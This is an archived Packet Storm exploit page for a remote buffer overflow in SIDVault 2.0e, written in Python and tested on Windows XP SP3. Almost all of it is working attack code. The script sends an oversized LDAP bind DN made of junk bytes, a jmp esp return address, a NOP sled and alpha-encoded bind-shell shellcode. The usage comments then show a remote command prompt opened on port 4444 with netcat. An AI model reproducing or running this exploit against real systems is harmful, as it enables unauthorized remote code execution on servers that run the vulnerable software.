SIDVault 2.0e Buffer Overflow

2009-09-04T00:00:00
ID PACKETSTORM:80973
Type packetstorm
Reporter Blake
Modified 2009-09-04T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# $ ./sidvault.py 192.168.1.131  
#  
# [*] SIDVault 2.0e Windows Remote Buffer Overflow  
# [*] Written by blake  
# [*] Tested on Windows XP SP3  
# [+] Sending payload  
# [+] Check port 4444 for shell  
#  
# $ nc 192.168.1.131 4444  
# Microsoft Windows XP [Version 5.1.2600]  
# (C) Copyright 1985-2001 Microsoft Corp.  
#  
# C:\WINDOWS\system32>  
  
import socket, sys, ldap  
  
print "\n[*] SidVault 2.0e Windows Remote Buffer Overflow"  
print "[*] Written by blake"  
print "[*] Tested on Windows XP SP3"  
  
if len(sys.argv)!=2:  
print "[*] Usage: %s <ip>" % sys.argv[0]  
sys.exit(0)  
  
host = sys.argv[1]  
  
# windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed   
# EXITFUNC=seh, LPORT=4444  
  
shellcode = (  
"\x89\xe1\xd9\xe1\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"  
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"  
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
"\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b"  
"\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x46\x44\x4c\x4b"  
"\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a"  
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31"  
"\x4a\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x46"  
"\x51\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37"  
"\x49\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47"  
"\x4b\x50\x54\x46\x44\x51\x38\x43\x45\x4b\x55\x4c\x4b\x51\x4f"  
"\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c"  
"\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x43\x33\x46\x4c\x4c\x4b"  
"\x4c\x49\x42\x4c\x47\x54\x45\x4c\x43\x51\x48\x43\x46\x51\x49"  
"\x4b\x42\x44\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x47\x30\x44\x4c"  
"\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51"  
"\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"  
"\x49\x46\x42\x46\x46\x33\x43\x56\x42\x48\x47\x43\x47\x42\x42"  
"\x48\x42\x57\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30"  
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48"  
"\x56\x51\x4f\x4c\x49\x4b\x55\x42\x46\x4d\x51\x4a\x4d\x43\x38"  
"\x45\x52\x50\x55\x43\x5a\x43\x32\x4b\x4f\x48\x50\x43\x58\x48"  
"\x59\x44\x49\x4b\x45\x4e\x4d\x46\x37\x4b\x4f\x48\x56\x46\x33"  
"\x51\x43\x51\x43\x50\x53\x46\x33\x50\x43\x50\x53\x51\x53\x50"  
"\x53\x4b\x4f\x4e\x30\x45\x36\x42\x48\x42\x31\x51\x4c\x43\x56"  
"\x46\x33\x4b\x39\x4d\x31\x4a\x35\x45\x38\x4e\x44\x45\x4a\x42"  
"\x50\x49\x57\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x50\x51"  
"\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d"  
"\x39\x46\x37\x4b\x4f\x49\x46\x50\x53\x51\x45\x4b\x4f\x4e\x30"  
"\x45\x38\x4a\x45\x51\x59\x4c\x46\x51\x59\x46\x37\x4b\x4f\x4e"  
"\x36\x50\x50\x50\x54\x46\x34\x46\x35\x4b\x4f\x48\x50\x4d\x43"  
"\x43\x58\x4a\x47\x42\x59\x48\x46\x44\x39\x50\x57\x4b\x4f\x4e"  
"\x36\x46\x35\x4b\x4f\x48\x50\x43\x56\x42\x4a\x43\x54\x45\x36"  
"\x43\x58\x45\x33\x42\x4d\x4c\x49\x4a\x45\x42\x4a\x46\x30\x50"  
"\x59\x47\x59\x48\x4c\x4c\x49\x4a\x47\x42\x4a\x50\x44\x4c\x49"  
"\x4a\x42\x46\x51\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"  
"\x4d\x4b\x4e\x51\x52\x46\x4c\x4c\x53\x4c\x4d\x42\x5a\x46\x58"  
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x44"  
"\x56\x4b\x4f\x43\x45\x50\x44\x4b\x4f\x4e\x36\x51\x4b\x50\x57"  
"\x50\x52\x50\x51\x46\x31\x50\x51\x42\x4a\x45\x51\x46\x31\x50"  
"\x51\x46\x35\x46\x31\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x4e\x39"  
"\x43\x35\x48\x4e\x50\x53\x4b\x4f\x48\x56\x43\x5a\x4b\x4f\x4b"  
"\x4f\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x50\x57\x4b\x4c\x4d\x53"  
"\x49\x54\x42\x44\x4b\x4f\x4e\x36\x46\x32\x4b\x4f\x4e\x30\x43"  
"\x58\x4a\x50\x4c\x4a\x45\x54\x51\x4f\x46\x33\x4b\x4f\x48\x56"  
"\x4b\x4f\x4e\x30\x41\x41")  
  
junk = "\x41" * 1024 # junk buffer  
ret = "\x33\xbf\x96\x7c" # jmp esp 7C96BF33 Shell32.dll XP SP3  
nops = "\x90" * 10 # nop sled  
sc = shellcode # shellcode  
junk2 = "\x42" * 2375 # 3071 - 696 = 2375 junk  
  
print "[+] Sending payload"  
  
l = ldap.open(host)  
l.simple_bind("dc=" + junk + ret + nops + sc + junk2, "\x42" * 256)  
  
print "[+] Check port 4444 for shell\n"  
  
  
`